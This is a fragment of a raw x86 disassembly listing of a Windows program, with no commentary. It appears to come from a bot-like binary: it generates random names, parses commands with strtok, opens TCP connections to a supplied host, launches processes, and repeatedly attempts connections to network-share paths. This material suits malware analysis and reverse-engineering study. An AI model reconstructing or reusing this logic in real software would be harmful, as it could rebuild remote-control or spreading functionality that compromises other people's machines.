[esp+50h+arg_0] lea edx, [esp+50h+var_3C] push edx mov ecx, esi call sub_4014D3 mov [esp+50h+var_40], 1 lea ecx, [esp+50h+var_3C] mov byte ptr [esp+50h+var_4], 0 call sub_401226 pop ebp mov eax, esi pop edi pop esi pop ebx mov ecx, [esp+40h+var_C] mov large fs:0, ecx add esp, 40h retn ; --------------------------------------------------------------------------- loc_41BBAF: ; CODE XREF: sub_41BA50+2Aj lea ecx, [esp+4Ch+var_24] call sub_40142E mov ebx, 2 mov [esp+4Ch+var_4], ebx nop call near ptr 27E0B10h push eax nop call near ptr 77C371BCh mov edi, dword_511AC8 add esp, 4 call edi ; rand cdq mov ecx, 3 idiv ecx lea ecx, [esp+4Ch+var_24] mov esi, edx mov edx, [esp+4Ch+arg_4] push edx add esi, 6 call sub_4015E1 test esi, esi jle short loc_41BC4E loc_41BBF8: ; CODE XREF: sub_41BA50+1FCj lea ecx, [esp+4Ch+var_3C] call sub_40142E lea eax, [esp+4Ch+var_24] lea ecx, [esp+4Ch+var_3C] push eax mov byte ptr [esp+50h+var_4], 3 call sub_401FDC call edi ; rand cdq mov ecx, 1Ah idiv ecx lea ecx, [esp+4Ch+var_3C] add edx, 61h push edx call sub_4017EE push eax lea edx, [esp+54h+var_24] push offset dword_444E54 push edx call sub_40102D add esp, 10h lea ecx, [esp+4Ch+var_3C] mov byte ptr [esp+4Ch+var_4], bl call sub_401226 dec esi jnz short loc_41BBF8 loc_41BC4E: ; CODE XREF: sub_41BA50+1A6j mov esi, [esp+4Ch+arg_0] lea eax, [esp+4Ch+var_24] push eax mov ecx, esi call sub_4014D3 lea ecx, [esp+4Ch+var_24] mov [esp+4Ch+var_40], 1 mov byte ptr [esp+4Ch+var_4], 0 call sub_401226 mov ecx, [esp+4Ch+var_C] mov eax, esi pop edi pop esi pop ebx mov large fs:0, ecx add esp, 40h retn sub_41BA50 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 90h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD20: ; CODE XREF: ___:00401573j mov al, [esp+4] cmp al, 20h jz short loc_41BD2F cmp al, 9 jz short loc_41BD2F xor al, al retn ; --------------------------------------------------------------------------- loc_41BD2F: ; CODE XREF: ___:0041BD26j ; ___:0041BD2Aj mov al, 1 retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_41BD50: ; CODE XREF: ___:00401EF6j mov eax, [esp+4] push offset dword_444E5C push eax call near ptr 77C3F010h nop add esp, 8 test eax, eax jz short loc_41BD74 push eax call near ptr 77C40AB1h nop add esp, 4 mov al, 1 retn ; --------------------------------------------------------------------------- loc_41BD74: ; CODE XREF: ___:0041BD65j xor al, al retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41BD90 proc near ; CODE XREF: sub_401483j var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_20 = byte ptr -20h arg_0 = dword ptr 4 sub esp, 30h push ebx push ebp push esi push edi mov edi, [esp+40h+arg_0] test edi, edi jz loc_41BFEE mov esi, offset byte_448F30 mov eax, edi loc_41BDAA: ; CODE XREF: sub_41BD90+3Cj mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BDD2 test cl, cl jz short loc_41BDCE mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BDD2 add eax, 2 add esi, 2 test cl, cl jnz short loc_41BDAA loc_41BDCE: ; CODE XREF: sub_41BD90+26j xor eax, eax jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDD2: ; CODE XREF: sub_41BD90+22j ; sub_41BD90+32j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BDD7: ; CODE XREF: sub_41BD90+40j test eax, eax jz loc_41BFEE push 20h lea eax, [esp+44h+var_20] push edi push eax nop call near ptr 77C47A90h mov edi, dword_511B00 lea ecx, [esp+4Ch+var_20] push offset dword_4447F8 push ecx call edi ; strtok add esp, 14h mov [esp+40h+var_30], eax test eax, eax jz loc_41BFEE mov ebx, 1 lea esi, [esp+40h+var_2C] loc_41BE17: ; CODE XREF: sub_41BD90+A4j push offset dword_4447F8 push 0 call edi ; strtok add esp, 8 mov [esi], eax test eax, eax jz loc_41BFEE inc ebx add esi, 4 cmp ebx, 4 jl short loc_41BE17 mov ebp, [esp+40h+var_30] mov esi, offset dword_444E78 mov eax, ebp loc_41BE41: ; CODE XREF: sub_41BD90+D3j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BE69 test dl, dl jz short loc_41BE65 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BE69 add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE41 loc_41BE65: ; CODE XREF: sub_41BD90+BDj xor eax, eax jmp short loc_41BE6E ; --------------------------------------------------------------------------- loc_41BE69: ; CODE XREF: sub_41BD90+B9j ; sub_41BD90+C9j sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BE6E: ; CODE XREF: sub_41BD90+D7j test eax, eax jnz short loc_41BE7C pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BE7C: ; CODE XREF: sub_41BD90+E0j mov esi, offset dword_444E74 mov eax, ebp loc_41BE83: ; CODE XREF: sub_41BD90+115j mov cl, [eax] mov bl, [esi] mov dl, cl cmp cl, bl jnz short loc_41BEAB test dl, dl jz short loc_41BEA7 mov cl, [eax+1] mov bl, [esi+1] mov dl, cl cmp cl, bl jnz short loc_41BEAB add eax, 2 add esi, 2 test dl, dl jnz short loc_41BE83 loc_41BEA7: ; CODE XREF: sub_41BD90+FFj xor eax, eax jmp short loc_41BEB0 ; --------------------------------------------------------------------------- loc_41BEAB: ; CODE XREF: sub_41BD90+FBj ; sub_41BD90+10Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BEB0: ; CODE XREF: sub_41BD90+119j mov edi, [esp+40h+var_2C] test eax, eax jnz short loc_41BEFA mov esi, offset dword_444E70 mov edx, edi loc_41BEBF: ; CODE XREF: sub_41BD90+151j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BEE7 test bl, bl jz short loc_41BEE3 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BEE7 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BEBF loc_41BEE3: ; CODE XREF: sub_41BD90+13Bj xor edx, edx jmp short loc_41BEEC ; --------------------------------------------------------------------------- loc_41BEE7: ; CODE XREF: sub_41BD90+137j ; sub_41BD90+147j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BEEC: ; CODE XREF: sub_41BD90+155j test edx, edx jnz short loc_41BEFA pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BEFA: ; CODE XREF: sub_41BD90+126j ; sub_41BD90+15Ej mov esi, offset dword_444E6C mov edx, ebp loc_41BF01: ; CODE XREF: sub_41BD90+193j mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF29 test bl, bl jz short loc_41BF25 mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF29 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF01 loc_41BF25: ; CODE XREF: sub_41BD90+17Dj xor edx, edx jmp short loc_41BF2E ; --------------------------------------------------------------------------- loc_41BF29: ; CODE XREF: sub_41BD90+179j ; sub_41BD90+189j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF2E: ; CODE XREF: sub_41BD90+197j test edx, edx jnz short loc_41BF74 mov esi, offset dword_444E68 mov edx, edi loc_41BF39: ; CODE XREF: sub_41BD90+1CBj mov al, [edx] mov cl, [esi] mov bl, al cmp al, cl jnz short loc_41BF61 test bl, bl jz short loc_41BF5D mov cl, [edx+1] mov al, [esi+1] mov bl, cl cmp cl, al jnz short loc_41BF61 add edx, 2 add esi, 2 test bl, bl jnz short loc_41BF39 loc_41BF5D: ; CODE XREF: sub_41BD90+1B5j xor edx, edx jmp short loc_41BF66 ; --------------------------------------------------------------------------- loc_41BF61: ; CODE XREF: sub_41BD90+1B1j ; sub_41BD90+1C1j sbb edx, edx sbb edx, 0FFFFFFFFh loc_41BF66: ; CODE XREF: sub_41BD90+1CFj test edx, edx jnz short loc_41BF74 pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BF74: ; CODE XREF: sub_41BD90+1A0j ; sub_41BD90+1D8j mov esi, offset dword_444E64 mov ecx, ebp loc_41BF7B: ; CODE XREF: sub_41BD90+20Dj mov al, [ecx] mov bl, [esi] mov dl, al cmp al, bl jnz short loc_41BFA3 test dl, dl jz short loc_41BF9F mov al, [ecx+1] mov bl, [esi+1] mov dl, al cmp al, bl jnz short loc_41BFA3 add ecx, 2 add esi, 2 test dl, dl jnz short loc_41BF7B loc_41BF9F: ; CODE XREF: sub_41BD90+1F7j xor ecx, ecx jmp short loc_41BFA8 ; --------------------------------------------------------------------------- loc_41BFA3: ; CODE XREF: sub_41BD90+1F3j ; sub_41BD90+203j sbb ecx, ecx sbb ecx, 0FFFFFFFFh loc_41BFA8: ; CODE XREF: sub_41BD90+211j test ecx, ecx jnz short loc_41BFEE mov esi, offset dword_444E60 mov eax, edi loc_41BFB3: ; CODE XREF: sub_41BD90+245j mov dl, [eax] mov bl, [esi] mov cl, dl cmp dl, bl jnz short loc_41BFDB test cl, cl jz short loc_41BFD7 mov dl, [eax+1] mov bl, [esi+1] mov cl, dl cmp dl, bl jnz short loc_41BFDB add eax, 2 add esi, 2 test cl, cl jnz short loc_41BFB3 loc_41BFD7: ; CODE XREF: sub_41BD90+22Fj xor eax, eax jmp short loc_41BFE0 ; --------------------------------------------------------------------------- loc_41BFDB: ; CODE XREF: sub_41BD90+22Bj ; sub_41BD90+23Bj sbb eax, eax sbb eax, 0FFFFFFFFh loc_41BFE0: ; CODE XREF: sub_41BD90+249j test eax, eax jnz short loc_41BFEE pop edi pop esi pop ebp mov al, 1 pop ebx add esp, 30h retn ; --------------------------------------------------------------------------- loc_41BFEE: ; CODE XREF: sub_41BD90+Dj ; sub_41BD90+49j ... pop edi pop esi pop ebp xor al, al pop ebx add esp, 30h retn sub_41BD90 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 0A0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: sub_402022j var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 10h push ebx push esi push 6 push 1 push 2 xor bl, bl nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_41C108 cmp esi, 0FFFFFFFFh jz short loc_41C108 mov eax, [esp+18h+arg_0] push eax call near ptr 71AB2BF4h nop mov ecx, [esp+18h+arg_4] mov [esp+18h+var_C], eax push ecx nop call near ptr 71AB2B66h lea edx, [esp+18h+var_10] push 10h push edx push esi mov [esp+24h+var_E], ax mov [esp+24h+var_10], 2 nop call near ptr 71AB406Ah test eax, eax jnz short loc_41C0F9 mov bl, 1 loc_41C0F9: ; CODE XREF: sub_41C0A0+55j push esi nop call near ptr 71AB9639h mov al, bl pop esi pop ebx add esp, 10h retn ; --------------------------------------------------------------------------- loc_41C108: ; CODE XREF: sub_41C0A0+18j ; sub_41C0A0+1Dj pop esi xor al, al pop ebx add esp, 10h retn sub_41C0A0 endp ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C130 proc near ; CODE XREF: sub_401299j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push 0 push 0 push eax push ecx push offset aOpen ; "open" push 0 nop call near ptr 7CA41110h cmp eax, 20h setnl al retn sub_41C130 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C170 proc near ; CODE XREF: sub_402167j var_54 = byte ptr -54h var_44 = dword ptr -44h var_14 = word ptr -14h arg_0 = dword ptr 4 sub esp, 54h push edi mov ecx, 11h xor eax, eax lea edi, [esp+58h+var_44] rep stosd mov [esp+58h+var_14], ax lea eax, [esp+58h+var_54] mov edx, [esp+58h+arg_0] lea ecx, [esp+58h+var_44] push eax push ecx push 0 push 0 push 28h push 0 push 0 push 0 push edx push 0 mov [esp+80h+var_44], 44h nop call near ptr 27F0459h test eax, eax setnle al pop edi add esp, 54h retn sub_41C170 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C1E0: ; CODE XREF: ___:00401884j sub esp, 354h mov eax, off_444E84 mov ecx, off_444E88 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E8C rep stosd mov ecx, off_444E7C mov [esp+10h], edx mov dx, word_444E80 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] xor edi, edi push eax push 0FFFFFFFFh push ecx push edi push edi nop call near ptr 27B0000h mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat mov esi, [esp+374h] add esp, 10h lea eax, [esp+12Ch] push edi push offset dword_50DB4C push offset dword_50DB4C push esi mov [esi+4], edi mov [esi+10h], edi mov [esi+14h], eax mov [esi+1Ch], edi call sub_43829E ; --------------------------------------------------------------------------- cmp eax, 5 jz short loc_41C2C8 cmp eax, 4C3h jnz short loc_41C2D1 loc_41C2C8: ; CODE XREF: ___:0041C2BFj push edi push edi push edi push esi call sub_43829E ; --------------------------------------------------------------------------- loc_41C2D1: ; CODE XREF: ___:0041C2C6j pop edi cmp eax, 5 pop esi jz short loc_41C2E8 cmp eax, 4C3h jz short loc_41C2E8 mov al, 1 add esp, 354h retn ; --------------------------------------------------------------------------- loc_41C2E8: ; CODE XREF: ___:0041C2D6j ; ___:0041C2DDj xor al, al add esp, 354h retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 50h dup(0CCh) ; --------------------------------------------------------------------------- loc_41C350: ; CODE XREF: ___:00401EE7j sub esp, 354h mov eax, off_444E84 mov ecx, off_444E88 mov [esp+0], eax mov al, byte_448F30 push esi push edi mov [esp+0Ch], ecx mov [esp+14h], al mov ecx, 45h xor eax, eax lea edi, [esp+15h] mov edx, dword_444E8C rep stosd mov ecx, off_444E7C mov [esp+10h], edx mov dx, word_444E80 mov [esp+12Ch], ecx stosw stosb mov ecx, 8Ah xor eax, eax lea edi, [esp+132h] mov [esp+130h], dx rep stosd mov ecx, [esp+360h] push 0FFh stosw lea eax, [esp+18h] push eax push 0FFFFFFFFh push ecx push 0 push 0 call near ptr 27B0000h nop mov esi, dword_511AB8 lea edx, [esp+14h] lea eax, [esp+12Ch] push edx push eax call esi ; wcscat lea ecx, [esp+10h] lea edx, [esp+134h] push ecx push edx call esi ; wcscat add esp, 10h lea eax, [esp+12Ch] push 0 push 0 push eax call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jz short loc_41C438 mov esi, dword_5118D8 loc_41C41C: ; CODE XREF: ___:0041C436j push 7D0h call esi push 0 lea ecx, [esp+130h] push 0 push ecx call sub_4382A4 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41C41C loc_41C438: ; CODE XREF: ___:0041C414j pop edi mov al, 1 pop esi add esp, 354h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_41C490 proc near ; CODE XREF: sub_401D93j var_3C = byte ptr -3Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_41C490 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 30h push esi push edi push 0 push 0Ch push 4 push 4Fh push 10h push 14h lea eax, [esp+5Ch+var_3C] push 6 mov esi, ecx push eax call sub_4019C4 add esp, 20h push esi mov ecx, eax mov [esp+48h+var_4], 0 call sub_4017EE lea ecx, [esi+0BCh] push eax push ecx mov ecx, offset dword_449118 call sub_40159B sub_41C490 endp ; --------------------------------------------------------------------------- or edi, 0FFFFFFFFh lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h lea edx, [esp+24h] push 6 push edx call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 1 call sub_4017EE push eax lea eax, [esi+118h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 10h push 15h push 4Fh push 10h push 14h lea ecx, [esp+20h] push 6 push ecx call sub_4019C4 add esp, 20h push esi mov ecx, eax mov dword ptr [esp+44h], 2 call sub_4017EE lea edx, [esi+0EAh] push eax push edx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 0Ch push 4 push 4Fh push 10h push 14h push 14h lea eax, [esp+24h] push 8 push eax call sub_4019C4 add esp, 24h push esi mov ecx, eax mov dword ptr [esp+44h], 3 call sub_4017EE lea ecx, [esi+4] push eax push ecx mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 18h push 5 push 4Fh push 10h push 14h push 14h lea edx, [esp+28h] push 8 push edx call sub_4019C4 add esp, 28h push esi mov ecx, eax mov dword ptr [esp+44h], 4 call sub_4017EE push eax lea eax, [esi+60h] push eax mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+8] mov [esp+40h], edi call sub_401226 push 0 push 5 push 14h push 1 push 4 push 10h push 15h push 4Fh push 10h push 14h push 14h lea ecx, [esp+4Ch] push 8 push ecx call sub_4019C4 add esp, 34h push esi mov ecx, eax mov dword ptr [esp+44h], 5 call sub_4017EE add esi, 32h push eax push esi mov ecx, offset dword_449118 call sub_40159B ; --------------------------------------------------------------------------- lea ecx, [esp+20h] mov [esp+40h], edi call sub_401226 mov ecx, [esp+38h] pop edi pop esi mov large fs:0, ecx add esp, 3Ch retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_41C710 proc near ; CODE XREF: sub_401064j var_111 = byte ptr -111h var_110 = dword ptr -110h var_10C = byte ptr -10Ch var_F4 = byte ptr -0F4h var_DC = byte ptr -0DCh var_C4 = byte ptr -0C4h var_AC = byte ptr -0ACh var_94 = byte ptr -94h var_7C = byte ptr -7Ch var_67 = byte ptr -67h var_52 = byte ptr -52h var_3D = byte ptr -3Dh var_28 = dword ptr -28h var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 push 0FFFFFFFFh push offset SEH_41C710 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 108h push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+124h+var_10C] call sub_40142E lea ecx, [esp+124h+var_DC] mov [esp+124h+var_4], 0 call sub_40142E lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_40142E lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_40142E lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_40142E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_401B4A mov esi, [esp+124h+arg_0] mov bl, 5 lea ecx, [ebp+8Eh] mov byte ptr [esp+124h+var_4], bl lea edi, [esi+7Eh] call sub_4017EE push eax mov ecx, edi call sub_4012EE lea ecx, [ebp+4] call sub_4017EE push eax mov ecx, edi call sub_4012EE test eax, eax jnz loc_41C93C push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 6 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 7 call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 8 jz short loc_41C8CC mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41C8CE ; --------------------------------------------------------------------------- loc_41C8CC: ; CODE XREF: sub_41C710+1AFj xor edi, edi loc_41C8CE: ; CODE XREF: sub_41C710+1BAj lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41C93C: ; CODE XREF: sub_41C710+C0j lea ecx, [ebp+60h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CABB push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 9 push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Ah call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Bh jz short loc_41CA4B mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CA4D ; --------------------------------------------------------------------------- loc_41CA4B: ; CODE XREF: sub_41C710+32Ej xor edi, edi loc_41CA4D: ; CODE XREF: sub_41C710+339j lea eax, [esp+124h+var_10C] lea ecx, [edi+11h] push eax mov byte ptr [esp+128h+var_4], bl call sub_401FDC lea ecx, [esp+124h+var_DC] push ecx lea ecx, [edi+26h] call sub_401FDC lea edx, [esp+124h+var_C4] lea ecx, [edi+65h] push edx call sub_401FDC lea eax, [esi+69h] lea ecx, [edi+7Ah] push eax call sub_401FDC mov byte ptr [edi+8Fh], 1 mov byte ptr [edi+90h], 0 mov byte ptr [edi+91h], 0 mov cl, [esi+93h] mov [edi+92h], cl mov dl, [esi+94h] mov ecx, edi mov [edi+93h], dl call sub_4013DE loc_41CABB: ; CODE XREF: sub_41C710+23Fj lea ecx, [ebp+32h] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CCF6 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 1 push eax mov ecx, esi call sub_4016B8 lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 0Ch push ecx mov ecx, eax call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC push offset asc_444C64 ; ":" lea ecx, [esp+128h+var_10C] call sub_401AAF mov eax, [esp+124h+var_28] lea ecx, [esp+124h+var_10C] push eax call sub_401140 lea ecx, [esp+124h+var_24] push ecx lea ecx, [esp+128h+var_DC] call sub_401FDC push 1 push offset asc_444600 ; " " lea edx, [esp+12Ch+var_F4] push 2 push edx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 0Dh call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push offset asc_444600 ; " " lea eax, [esp+128h+var_F4] push 3 push eax mov ecx, esi call sub_4016B8 push offset word_44955A mov ecx, eax mov byte ptr [esp+128h+var_4], 0Eh call sub_401B86 test eax, eax lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl setz [esp+124h+var_111] call sub_401226 mov al, [esp+124h+var_111] test al, al jz short loc_41CC5E lea ecx, [esp+124h+var_7C] mov byte ptr [esp+124h+var_4], 4 call sub_4014BA lea ecx, [esp+124h+var_C4] mov byte ptr [esp+124h+var_4], 3 call sub_401226 lea ecx, [esp+124h+var_94] mov byte ptr [esp+124h+var_4], 2 call sub_401226 lea ecx, [esp+124h+var_AC] mov byte ptr [esp+124h+var_4], 1 call sub_401226 lea ecx, [esp+124h+var_DC] mov byte ptr [esp+124h+var_4], 0 call sub_401226 lea ecx, [esp+124h+var_10C] mov [esp+124h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_41D312 ; --------------------------------------------------------------------------- loc_41CC5E: ; CODE XREF: sub_41C710+4D6j push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 0Fh jz short loc_41CC86 mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CC88 ; --------------------------------------------------------------------------- loc_41CC86: ; CODE XREF: sub_41C710+569j xor edi, edi loc_41CC88: ; CODE XREF: sub_41C710+574j lea ecx, [esp+124h+var_10C] mov byte ptr [esp+124h+var_4], bl push ecx lea ecx, [edi+11h] call sub_401FDC lea edx, [esp+124h+var_DC] lea ecx, [edi+26h] push edx call sub_401FDC lea eax, [esp+124h+var_C4] lea ecx, [edi+65h] push eax call sub_401FDC lea ecx, [esi+69h] push ecx lea ecx, [edi+7Ah] call sub_401FDC mov byte ptr [edi+8Fh], 0 mov byte ptr [edi+90h], 1 mov byte ptr [edi+91h], 0 mov dl, [esi+93h] mov [edi+92h], dl mov al, [esi+94h] mov ecx, edi mov [edi+93h], al call sub_4013DE loc_41CCF6: ; CODE XREF: sub_41C710+3BEj lea ecx, [ebp+0BCh] call sub_4017EE push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_41CE9B push offset asc_444600 ; " " lea ecx, [esp+128h+var_F4] push 1 push ecx mov ecx, esi call sub_4016B8 lea edx, [esp+124h+var_7C] mov ecx, eax push edx mov byte ptr [esp+128h+var_4], 10h call sub_40168B push eax call sub_401947 add esp, 8 lea ecx, [esp+124h+var_F4] test al, al setz [esp+124h+var_111] mov byte ptr [esp+124h+var_4], bl call sub_401226 mov al, [esp+124h+var_111] test al, al jnz loc_41D2A1 lea eax, [esp+124h+var_52] lea ecx, [esp+124h+var_AC] push eax call sub_401FDC lea ecx, [esp+124h+var_3D] push ecx lea ecx, [esp+128h+var_94] call sub_401FDC lea edx, [esp+124h+var_67] lea ecx, [esp+124h+var_10C] push edx call sub_401FDC lea eax, [esp+124h+var_24] lea ecx, [esp+124h+var_DC] push eax call sub_401FDC push 1 push offset asc_444600 ; " " lea ecx, [esp+12Ch+var_F4] push 2 push ecx mov ecx, esi call sub_4011EA push eax lea ecx, [esp+128h+var_C4] mov byte ptr [esp+128h+var_4], 11h call sub_401FDC lea ecx, [esp+124h+var_F4] mov byte ptr [esp+124h+var_4], bl call sub_401226 push 94h call sub_437AEA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+124h+var_110], eax test eax, eax mov byte ptr [esp+124h+var_4], 12h jz short loc_41CE0E mov ecx, eax call sub_4021E9 mov edi, eax jmp short loc_41CE10 ; --------------------------------------------------------------------------- loc_41CE0E: ; CODE XREF: sub_41C710+6F1j xor edi, edi loc_41CE10: ; CODE XREF: sub_41C710+6FCj lea edx, [esp+124h+var_10C] lea ecx, [edi+11h] push edx 